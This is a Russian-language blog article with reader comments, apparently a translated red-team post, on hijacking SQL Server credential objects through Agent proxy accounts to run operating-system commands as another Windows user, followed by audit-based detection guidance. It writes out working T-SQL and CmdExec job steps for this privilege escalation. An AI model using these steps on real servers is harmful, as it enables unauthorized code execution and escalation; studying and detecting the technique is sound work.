В этой статье я расскажу об объектах учетных данных SQL Server и о том, как их могут использовать злоумышленники для выполнения кода от имени учетной записи SQL Server, локального пользователя Windows или доменного пользователя. Также я объясню, как включить ведение журнала, которое может помочь в выявлении этого поведения. Это будет интересно тестировщикам на проникновение, участникам Red Team и администраторам баз данных, которые ищут легальные обходные пути для аутентификации.

Сценарий

Начнем с описания распространенной ситуации и проблемы, которую мы пытаемся решить с помощью этой техники.

  • Вы — тестировщик на проникновение или участник Red Team.

  • Вы получили права системного администратора на SQL сервере через один из типичных векторов атак, таких как SQL-инъекция, слабый пароль, чрезмерные привилегии или некорректная конфигурация связи SQL Server.

  • Вы можете выполнять команды и код на хостовой операционной системе в контексте учетной записи службы SQL Server с помощью различных методов, таких как xp_cmdshell, пользовательские CLR, задания агента и т.д.

Проблема в том, что служба SQL Server настроена на запуск от имени учетной записи NT Service\MSSQLSERVER, которая имеет ограниченные привилегии на операционной системе. Как тестировщики, мы стремимся получить права локального администратора как минимум, а если повезет, то и права администратора домена. Нам нужно найти обходной путь.

Учитывая ограничения учетной записи NT Service\MSSQLSERVER, наш следующий шаг заключается в попытке повысить привилегии на локальной системе. Существует множество подходов к эскалации привилегий на уровне операционной системы Windows, но я хотел бы рассмотреть, как учетные данные SQL Server могут быть использованы в этой ситуации, если они настроены на сервере.

Что такое объект учетных данных в SQL Server?

Учетные данные — это объекты в SQL Server, которые хранят информацию, такую как имена пользователей и пароли, используемые для аутентификации с внешними ресурсами, такими как другие SQL Server, файловые ресурсы или веб-сервисы, и выполнения процессов/задач от имени другого пользователя. Типы учетных данных включают учетные записи SQL Server, локальных пользователей Windows и доменных пользователей Active Directory.

Некоторые общие подсистемы SQL Server, использующие учетные данные:

  • Jobs агента

  • SQL Server Integration Services (SSIS)

  • SQL Server Reporting Services (SSRS)

  • Связанные серверы

  • Почта базы данных

  • Service Broker

  • Репликация

Существует множество законных случаев использования учетных данных в SQL Server, однако, как и все токены аутентификации, они могут стать целью для злоумышленников.

Как восстановить имена пользователей и пароли, хранящиеся в объектах учетных данных?

Получение паролей в открытом виде может быть крайне полезным во время повышения привилегий. Но как их извлечь из объектов учетных данных SQL Server? Главная сложность — это шифрование.

К счастью, Антти Рантасаари разработал в 2014 году PowerShell-скрипт, который расшифровывает учетные данные, хранящиеся в объектах SQL Server. Этот скрипт был перенесен в функцию Get-DecryptedObject в модуле DBATools.

Чтобы запустить функцию Антти, импортируйте его PowerShell-функцию и выполните команду:

Get-MSSQLCredentialPasswords

Однако перед тем, как начать работу, стоит учесть некоторые требования:

В нашем сценарии мы не удовлетворяем всем необходимым условиям для восстановления паролей в открытом виде из объектов учетных данных. Техника Антти Рантасаари весьма эффективна, но требует наличия прав локального администратора на Windows-системе, на которой размещен SQL Server. Без этих привилегий она неприменима. Что же делать, если у нас нет прав локального администратора?

Как использовать объекты учетных данных SQL Server без прав локального администратора?

Как уже упоминалось, объекты учетных данных SQL Server предназначены для доступа к внешним ресурсам и выполнения задач от имени другого пользователя. Это означает, что нам не нужно восстанавливать имена пользователей и пароли в открытом виде для выполнения кода в контексте другого пользователя — мы можем использовать функционал так, как он был задуман.

Далее приведен процесс, который можно использовать для "перехвата" существующего объекта учетных данных, настроенного на сервере SQL Server, позволяя выполнять код в контексте предоставленного пользователя с использованием заданий агента SQL Server. Пароль или права локального администратора не требуются.

Настройка лабораторной среды

Для демонстрации того, как можно перехватить учетные данные, настроим лабораторную среду:

1. Установите SQL Server.

2. Создайте локального пользователя Windows с именем testuser и сделайте его локальным администратором:

net user testuser P@ssw0rd! /add
net localgroup administrators /add testuser

3. Войдите в SQL Server и создайте объект учетных данных:

CREATE CREDENTIAL [MyCredential]
WITH IDENTITY = 'yourcomputernamehere\testuser',
SECRET = 'P@ssw0rd!';

Пошаговое руководство по выполнению кода с использованием учетных данных

1. Зайдите на SQL Server и проверьте, есть ли у вас права системного администратора:

SELECT IS_SRVROLEMEMBER('sysadmin') AS IsSysAdmin;

2. Список учетных данных. Следующий запрос предоставит вам список учетных данных, настроенных на сервере SQL Server. Если они существуют, вы уже на полпути:

SELECT * FROM sys.credentials;

3. Список прокси-аккаунтов. Прокси-аккаунты связаны с объектами учетных данных и используются job’ми агента. Использование существующего прокси-аккаунта может снизить вероятность обнаружения:

USE msdb;
GO

SELECT
    proxy_id,
    name AS proxy_name,
    credential_id,
    enabled
FROM
    dbo.sysproxies;
GO

4. Создайте учетную запись прокси-сервера. Если учетная запись прокси-сервера еще не существует, мы можем ее создать и назначить ей необходимые привилегии. Для получения дополнительной информации об учетных записях прокси-серверов ознакомьтесь с разделом https://learn.microsoft.com/en-us/sql/ssms/agent/create-a-sql-server-agent-proxy?view=sql-server-ver16 .

USE msdb;
GO

EXEC sp_add_proxy
  @proxy_name = N'MyCredentialProxy',     -- Name of the proxy
  @credential_name = N'MyCredential';      -- Name of the existing credential

EXEC sp_grant_proxy_to_subsystem
  @proxy_name = N'MyCredentialProxy',
  @subsystem_id = 3; -- 3 represents the Operating System (CmdExec) subsystem

5. Проверьте создание прокси-аккаунта:

USE msdb;
GO

SELECT
    proxy_id,
    name AS proxy_name,
    credential_id,
    enabled
FROM
    dbo.sysproxies;
GO

6. Создайте задание агенту для выполнения нужного кода или команд на операционной системе. По умолчанию доступны PowerShell, VBScript, JScript и CMDEXEC. В следующем примере создается файл whoami.txt в папке C:\Windows\Temp, чтобы показать, что процесс был выполнен в контексте прокси-пользователя:

USE msdb; 
GO 

-- Create the job 
EXEC sp_add_job  
  @job_name = N'WhoAmIJob'; -- Name of the job 

-- Add a job step that uses the proxy to execute the whoami command 
EXEC sp_add_jobstep  
  @job_name = N'WhoAmIJob',  
  @step_name = N'ExecuteWhoAmI',  
  @subsystem = N'CmdExec',          
  @command = N'c:\windows\system32\cmd.exe /c whoami > c:\windows\temp\whoami.txt',           
  @on_success_action = 1,         -- 1 = Quit with success 
  @on_fail_action = 2,                     -- 2 = Quit with failure 
  @proxy_name = N'MyCredentialProxy';     -- The proxy created earlier 

-- Add a schedule to the job (optional, can be manual or scheduled) 
EXEC sp_add_jobschedule  
  @job_name = N'WhoAmIJob',  
  @name = N'RunOnce',  
  @freq_type = 1,             -- 1 = Once 
  @active_start_date = 20240820,       
  @active_start_time = 120000;            

-- Add the job to the SQL Server Agent 
EXEC sp_add_jobserver  
  @job_name = N'WhoAmIJob',  
  @server_name = N'(LOCAL)';  

7. Используйте следующий запрос для проверки того, использует ли агент прокси-аккаунт. Запрос также покажет все остальные jobs агента:

USE msdb; 
GO 

SELECT  
    jobs.name AS JobName, 
    steps.step_id AS StepID, 
    steps.step_name AS StepName, 
    proxies.name AS ProxyName, 
    ISNULL(credentials.name, 'No Credential') AS CredentialName, 
    ISNULL(credentials.credential_identity, 'No Identity') AS IdentityName 
FROM  
    msdb.dbo.sysjobs AS jobs 
JOIN  
    msdb.dbo.sysjobsteps AS steps ON jobs.job_id = steps.job_id 
JOIN  
    msdb.dbo.sysproxies AS proxies ON steps.proxy_id = proxies.proxy_id 
LEFT JOIN  
    sys.credentials AS credentials ON proxies.credential_id = credentials.credential_id 
WHERE  
    steps.proxy_id IS NOT NULL 
ORDER BY  
    jobs.name, steps.step_id; 

8. Выполните job агента, чтобы запустить процесс от имени прокси-аккаунта и выполнить код/команду:

EXEC sp_start_job @job_name = N'WhoAmIJob';

9. Подтвердите выполнение, проверив содержимое файла whoami.txt в папке C:\Windows\Temp.

Таким образом, мы смогли выполнить команды на хостовой операционной системе, используя учетные данные, не зная имени пользователя или пароля. Однако если вам удастся имитировать пользователя с правами локального администратора, вы также сможете восстановить имя пользователя и пароль в открытом виде, используя технику Антти.

Возможности для обнаружения и поиска

Предыдущий раздел был полезен для злоумышленников, но теперь рассмотрим способы защиты. Вот обзор некоторых возможностей для обнаружения атак.

Источник данных: Логи приложений
Стратегия обнаружения: Поведенческая
Концепция обнаружения: Чтобы обнаружить злоупотребление учетными данными через прокси-аккаунты, создайте спецификации аудита сервера и базы данных, которые могут выявить создание прокси-аккаунта, отслеживая выполнение хранимых процедур sp_add_proxy и sp_grant_proxy_to_subsystem. SQL Server также может быть настроен для отправки этих событий в журнал приложений Windows, где можно отслеживать событие с идентификатором 33205.

Настройки для конфигурации обнаружения:

1. Создание аудита сервера:

Use master 

CREATE SERVER AUDIT [ProxyAccountAudit]  
TO APPLICATION_LOG  
WITH (ON_FAILURE = CONTINUE);  
GO

2. Создание спецификации аудита базы данных. Это фиксирует изменения уровня сервера и базы данных в базе данных msdb:

USE msdb;  
GO  

CREATE DATABASE AUDIT SPECIFICATION [ProxyAccountAuditSpec]  
FOR SERVER AUDIT [ProxyAccountAudit]  
ADD (EXECUTE ON OBJECT::[dbo].[sp_add_proxy] BY [dbo]),  
ADD (EXECUTE ON OBJECT::[dbo].[sp_grant_proxy_to_subsystem] BY [dbo])  
WITH (STATE = ON);  
GO 

3. Включение спецификации:

Use master 
GO 
ALTER SERVER AUDIT [ProxyAccountAudit] WITH (STATE = ON); 
GO 
Use msdb  
GO 
ALTER DATABASE AUDIT SPECIFICATION [ProxyAccountAuditSpec]  
WITH (STATE = ON);  
GO 

4. Теперь, если вы повторно выполните шаги по созданию прокси-аккаунта и проверите журнал приложений Windows на наличие события с идентификатором 33205, вы должны увидеть записи о выполнении процедур sp_add_proxy и sp_grant_proxy_to_subsystem.

Заключение

Если вам интересно изучить другие материалы по наступательной безопасности, связанные с SQL Server, вы можете найти их на сайте powerupsql.com. На сайте представлены код PowerUpSQL, шаблоны атак на SQL Server, шаблоны обнаружения, инструкции по повышению привилегий, блоги и презентации, посвященные взлому SQL Server.

Примечание: Я пока не тестировал эту технику на базе данных Azure SQL, однако предварительные исследования показывают, что учетные данные в этой среде не поддерживаются.

Комментарии (3)


  1. jackchickadee
    06.10.2024 06:28

    Вы получили права системного администратора на SQL сервере

    1. в винде нет "права системного администратора". есть аккаунт локального админа, входящий в группу локальных админов. в ту же группу входит и группа доменных админов, если винда в домене.

    2. после захвата локального админа есть ли смысл делать хоть что-то дальше ? если да то зачем ? все уже и так понятно и все доступно.


    1. Kepman
      06.10.2024 06:28
      +1

      Да, в винде нет прав системного администратора, но они есть в SQL. Тут имеется ввиду что у нас нет локального админа системы, но есть sysadmin sql. И вот как раз имея эти права мы можем их расширить до локального админа системы.


  1. exchange12rocks
    06.10.2024 06:28

    Создайте локального пользователя Windows с именем testuser и сделайте его локальным администратором

    Войдите в SQL Server и создайте объект учетных данных:
    CREATE CREDENTIAL [MyCredential]
    WITH IDENTITY = 'yourcomputernamehere\testuser'

    EXEC sp_add_proxy
    @proxy_name = N'MyCredentialProxy', -- Name of the proxy
    @credential_name = N'MyCredential'; -- Name of the existing credential

    -- Add a job step that uses the proxy to execute the whoami command
    ...
    @proxy_name = N'MyCredentialProxy'; -- The proxy created earlier

    Ну т.е. вся статья о том, что если вы добавляете учётные данные локального админа в SQL Server, админ SQL Server'a становится локальным админом. Ну такое - это немного очевидно.
    С учётом того, что DBA обычно и так локальные админы на машинах со своими сервисами...